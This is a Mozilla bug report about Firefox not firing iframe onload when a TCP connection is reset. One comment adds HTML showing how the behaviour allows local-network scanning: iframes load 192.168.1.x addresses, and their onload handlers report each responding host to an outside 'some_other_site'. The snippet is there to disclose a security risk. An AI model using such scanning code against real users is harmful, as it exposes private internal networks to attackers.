iframe onload does not fire when the tcp connection reset by server

UNCONFIRMED
Unassigned

Status

()

UNCONFIRMED
5 years ago
5 years ago

People

(Reporter: baiyang, Unassigned)

Tracking

24 Branch
x86
Windows Server 2003
Points:
---

Firefox Tracking Flags

(Not tracked)

Details

(Reporter)

Description

5 years ago
User Agent: Mozilla/5.0 (Windows NT 5.2; rv:24.0) Gecko/20100101 Firefox/24.0 (Beta/Release)
Build ID: 20130910160258

Steps to reproduce:

1. create an iframe, and within it, create a form to upload a file.
2. select a file and submit it.



Actual results:

if the file uploaded successfully, the onload event will be triggered, BUT if the file uploading failed (TCP connection REST by server or router), then the event is not triggered.


Expected results:

on IE and Chrome the "onload" event always be triggered even if the underlayer TCP connection received a 'RST' package. This behavior allow us deal with the fault elegantly, and notify users timely.

Updated

5 years ago
Component: Untriaged → DOM: Events
Product: Firefox → Core

Updated

5 years ago
Component: DOM: Events → Document Navigation

Comment 1

5 years ago
Need to check what the spec says.


Anne, does Fetch say anything about this, or is this all in HTML spec level?
Flags: needinfo?(annevk)
(Reporter)

Comment 3

5 years ago
You can test it by: http://philo-tech.com/iframetest.htm

Open the above url with firefox, chrome and IE respectively, IE and Chrome will show 'onload', and nothing appeared in firefox.

The key point in 'iframetest.htm' is:
<iframe src="http://wd.philo-tech.com/FFC/TestRST" onload = "alert('onload')" onerror="alert('onerror')"></iframe>

And 'FFC/TestRST' is a test api, witch is simply REST current TCP connection (note: REST a connection and return a 404 response are very different).
(Reporter)

Comment 4

5 years ago
Any body there?

Comment 5

5 years ago
Fixing this would make working with iframes a lot nicer. It's very useful to know when the loading of the iframe has finished even if the loading wasn't successful. I also see a potential security problem here. This bug could be used to scan the victim's local network and report the results to the attacker. Something similar was mentioned in http://www.whatwg.org/specs/web-apps/current-work/multipage/the-iframe-element.html. The example below scans my local IP addresses and reports to the attacker that the IP address 192.168.1.1 that is the admin UI of my modem is responding. XSS can be used for adding the malicious code. If Firefox would fire the load event even on failures like Chrome and IE this would not be possible as any URL would have the same result.

<iframe src="http://192.168.1.1" onload="var request = new XMLHttpRequest(); request.open('GET', 'http://some_other_site?url=192.168.1.1'); request.send();"></iframe>
<iframe src="http://192.168.1.2" onload="var request = new XMLHttpRequest(); request.open('GET', 'http://some_other_site?url=192.168.1.2'); request.send();"></iframe>
...
You need to log in before you can comment on or make changes to this bug.